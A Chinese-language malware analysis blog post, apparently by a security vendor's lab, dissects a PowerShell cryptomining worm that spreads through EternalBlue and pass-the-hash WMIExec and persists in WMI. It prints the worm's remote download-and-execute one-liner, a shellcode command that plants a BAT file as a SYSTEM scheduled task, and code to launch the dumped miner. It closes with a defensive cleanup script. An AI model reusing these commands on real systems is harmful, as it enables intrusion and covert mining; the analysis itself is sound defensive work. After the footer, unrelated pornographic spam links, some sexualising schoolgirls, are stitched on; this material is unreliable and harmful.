小心PowerShell抓你当“矿工”!

2017年8月,金山毒霸安全实验室拦截到一个通过PowerShell脚本作为载体进行传播的挖矿病毒,其通过下拉多个脚本完成一次攻击行为,使用“永恒之蓝”漏洞、WMIExec渗透工具进行自动化传播,同时所有载荷均写入WMI进行无文件驻留,目前仍在活跃中。

前言

金山毒霸安全实验室拦截到一个通过PowerShell脚本作为载体进行传播的挖矿病毒,其通过下拉多个脚本完成一次攻击行为,使用“永恒之蓝”漏洞、WMIExec渗透工具进行自动化传播,同时所有载荷均写入WMI进行无文件驻留。

该样本目前仍在活跃中,同时存在其他变种,详细分析见正文。

正文

母体脚本

如下为捕获到的样本,也是一个唯一落地的BAT脚本,功能上算一个较为常见的PowerShell联网下拉执行脚本。通过判断WMI的root\Subscription命名空间下是否存在名为SCM Event FilterConsumer,如果不存在则联网下拉info6.ps1脚本。

powershell "if(!(string).contains('SCM EventFilter')) 
{
    IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX:8000/info6.ps1')
}"

提供病毒下载的服务器

image.png

其中,

  • info.vbs 携带挖矿程序的vbs脚本,自身会写入WMI
  • info3.ps1 携带x86平台挖矿、攻击脚本
  • info6.ps1 携带x64平台挖矿、攻击脚本

攻击演示图

image.png

info6.ps1主脚本

混淆严重

info6.ps1是一个混淆程度较高的powershell脚本,整体代码只有两行,但足有3.9M大小,真是”短小精悍”。image.png

image.png

通过对该脚本进行2次去混淆并进行整理,最终得到一个较为清晰的内容,下文是其执行过程及其相关模块的分析。

执行过程

1.初始化数据

通过对$fa进行分拆得到各个变量的数据,实际均经过base64编码。

image.png

这些数据会存储在ManagementClass中,而ManagementClass的管理类是WMI,实际最终存储在WMI 中,也即无文件

image.png

在取值的时候,则可以通过如下方式取出

 # 取出mimi模块
([WmiClass] 'root\default:Win32_TaskService').Properties['mimi']

2.判断x64

大多数机器是x64的,但也有部分x86用户,需要做兼容,实际功能代码与info6.ps1一样。

image.png

3. 解fun代码

由于fun中有WMIExec和MS17010的攻击包,还有一些是辅助功能函数,所以这里先引入,至于里面具体是什么请向下看。

image.png

4.释放运行时dll

这些dll是挖矿程序需要用到的,所以这里早点释放出来吧

image.png

5. 删除其他WMI

image.png

6. 写自己的WMI

其中FilterName与ConsumerName分别为SCM Event Filter,SCM Event Consumer,间隔5600s执行一次”本脚本”功能,通过powershell传入base64编码后的脚本内容。

image.png

image.png

7. 善后、开工!

由于母体bat脚本是由ms17010 shellcode写入temp路径下的,原始名称为y1.bat,并且通过写计划任务的形式启动,所以这里需要删掉这个计划任务以及清理掉这个bat脚本。之后看看哪些powershell进程访问了80端口,由于样本携带的挖矿程序均访问80端口,所以也以此判断是否启动了自己的挖矿程序,如果没访问那么就需要执行一次,当然为了保证工作环境的干净,需要干掉疑似挖矿的其他powershell进程,通过判断典型挖矿程序的的3333,5555端口访问。

image.png

8. 攻击、传播!

为了保证挖矿效率,需要抓一些”矿工”,由于不会给工资,所以没人愿意白干。这里需要请WMIExec和MS17010两位大哥出面协调。

image.png

通过枚举网段IP,进行攻击,由于给WMIExec 命令行参数传错,导致这个攻击彻底废了,那只好MS17010出马了,通过调用C#实现的[PingCastle.Scanners.ms17_010scanner]::SCAn接口,以及SMB_EtERNAlbLue函数进行攻击。

image.png

模块分析

继上文说到本样本使用了WMIExec和MS17010攻击包,那么这些东西是什么,又是怎么引入的?这也是本节要说明的。

WMIExec

代码来自Invoke-TheHash项目,一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的工具,执行时不需要本地管理员权限,传送门

image.png

样本作者封装了一个test-ip函数,其参数2,4是通过mimikatz抓取的本地用户hash,参数1,3分别是目标ip和回连web服务器。WMIExec执行的功能是通过写一个VBS Download,下拉执行一个VBS脚本,同时下拉执行info6.ps1 (32位为info3.ps1)。

image.png

MS17010

虽然这个漏洞目前看来有点”过气”,但毕竟也是RCE啊!

作者分别引入了扫描和exp模块,扫描模块,通过Add-Type -TypeDefinition的方式引入源代码,这样会在powershell运行过程中调起C#编译器动态编译,抓取到的命令行如下

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"/out:"C:\Users[user]\AppData\Local\Temp\kr7amwim.dll" /D:DEBUG/debug+ /optimize- /warnaserror  "C:\Users[user]\AppData\Local\Temp\kr7amwim.0.cs"

exp模块,已封装很完整,暂未找到开源代码。image.png

shellcode,执行如下命令

cmd /c echo powershell "if(!(string).contains('SCMEvent Filter')) {IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX/info6.ps1')}"  >%temp%\y1.bat && SCHTASKS  /create /RU System /SC WEEKLY /TNyastcat  /f /TR "%temp%\y1.bat"&&SCHTASKS  /run  /TN yastcat

攻击时截图如下,

image.png

执行方式

样本作者在PowerShell中携带的挖矿程序,会通过反射加载的方式进行启动,具体可以用如下代码模拟启动

$mon = get-content ".\mon" #dump出的mon
$funs = get-content ".\funs"  #dump出的funs
iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList@($mon, $mon, 'Void', 0, '', '')

(门罗毕)挖矿程序执行后,界面如下

image.png

info.vbs脚本

上文说了info6.ps1和其相关的辅助模块,同时提到一次WMIExec攻击成功之后,会下拉一个info.vbs脚本,但是由于传入参数问题,这个是不会被下拉的,这里简单分析下。vbs脚本依然存在混淆,通过提取、整理,如下,先将编码后的另一个挖矿程序写入到WMI中保存起来,使用的时候通过调用WriteBinary函数导出

image.png

之后取出来,释放执行,开始挖矿image.png

InstallUpdateableT完成写一个WMI事件过滤器,间隔2h启动一次,功能当然是取挖矿程序,释放执行,这里不再赘述。image.png

检测&清除

  1. 通过代码分析,本样本实际传播途径主要为ms17010,所以提醒各位还是要及时安装补丁。
  2. 检测&清除PowerShell脚本代码如下,请尝试以管理员权限运行(请谨慎使用下列代码,在自身不确定的情况下也可安装金山毒霸进行检测)
    Write-host "[*] BadBee! Check&Clear!"
    $find = $false
    $mimi = $null
    $zlib = $null
    if (([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding )).contains('SCM Event Filter'))
    {
        $mimi = ([WmiClass] 'root\default:Win32_TaskService').Properties['mimi']
        $zlib = ([WmiClass] 'root\default:Win32_TaskService').Properties['zlib']
        if (($mimi -and $mimi.value[0] -eq 'T' -and $mimi.value[1] -eq 'V' -and $mimi.value[2] -eq 'q') -or 
            ($zlib -and $zlib.value[0] -eq 'T' -and $zlib.value[1] -eq 'V' -and $zlib.value[2] -eq 'q'))
        {
            Write-host "[*]Find BadBee!"
            $find = $true   
        }
    }
    if ($find -eq $true)
    {
        Write-host "[+]C1ear  WMI in..."
        gEt-wmIObjeCt -Namespace root\Subscription -Class __EventFilter -filter "Name= 'SCM Event Filter'" |remOVe-wMiObjecT  -Verbose
        GeT-wmiOBjECT -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose
        GET-WMioBject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%SCM Event Consumer%'" | REmOVE-wmIOBjEcT -Verbose
        GeT-wmiOBjECT -Namespace root\Subscription -Class  ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose
        ([WmiClass]'root\default:Win32_TaskService') | REmOVE-wmIOBjEcT -Verbose
        Write-host "[+]C1ear  WMI out..."
    }
    else
    {
        Write-host "[-]C0ngratulation nothing to find ..."
    }
    Write-host "[*]all done ..."
    

    3.金山毒霸可进行查杀防御

image.png

总结

  1. 通过对本样本的分析,可以知道样本自身使用了很多开源代码,实际由病毒作者编写的代码量很小,极大降低了制作难度,这也是现有非PE攻击的一个普遍特性。
  2. 目前来看,非PE攻击已经有白热化趋势,随着js、vbs脚本逐渐被杀软“围堵”,以PowerShell为载体的新一轮攻击已经开始,由于PowerShell的特殊性,现有依靠“白名单策略”构建的防护体系存在“坍塌”的风险,针对PowerShell的防御,将成为一个新的安全研究方向。
  3. 截止完稿,样本已经挖了13个门罗币了,市值6000多元。

参考

[1] https://github.com/mattifestation/WMI_Backdoor/blob/master/Black_Hat_2015_Presentation/us15-Graeber-AbusingWindowsManagementInstrumentation.pdf
[2] http://drops.xmd5.com/static/drops/tips-8189.html

未经允许不得转载(声明:本文内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎发送邮件至:net-net@foxmail.com进行举报,并提供相关证据,工作人员会在10个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。):策信智库资讯网 » 小心PowerShell抓你当“矿工”!

赞 (0)
indian school girls porn videos tubexo.mobi school girls xvideo broken marriage vow march 22 full episode thepinoytv.net abot kamay na pangarap episode today افلام سكس هندي arabicpornmovies.com بنات محجبات سكس شاب ينكح اخته arabianporns.com قصص سكس سعودي سكس في الطيارة muarab.net سكس عربى واجنبى girls fucking videos freshpornclips.mobi xxx free download سكس بكارة porndot.info موقع افلام اباحية bengali sexy sex teenpornvideo.mobi chella kutty كسه 24pornos.com سكس قرد مع بنت punjabi randi sex nudevista.pro mia khalifa naked ashima bhalla bigassporntrends.com www.indianxx nude b grade indiananalfuck.com you pron xxx hinde vedio tubeofporn.mobi iwink tv kolkata girls need sex pornhindimovies.com indian xxx vidio saxy bf download pornborn.mobi co xxx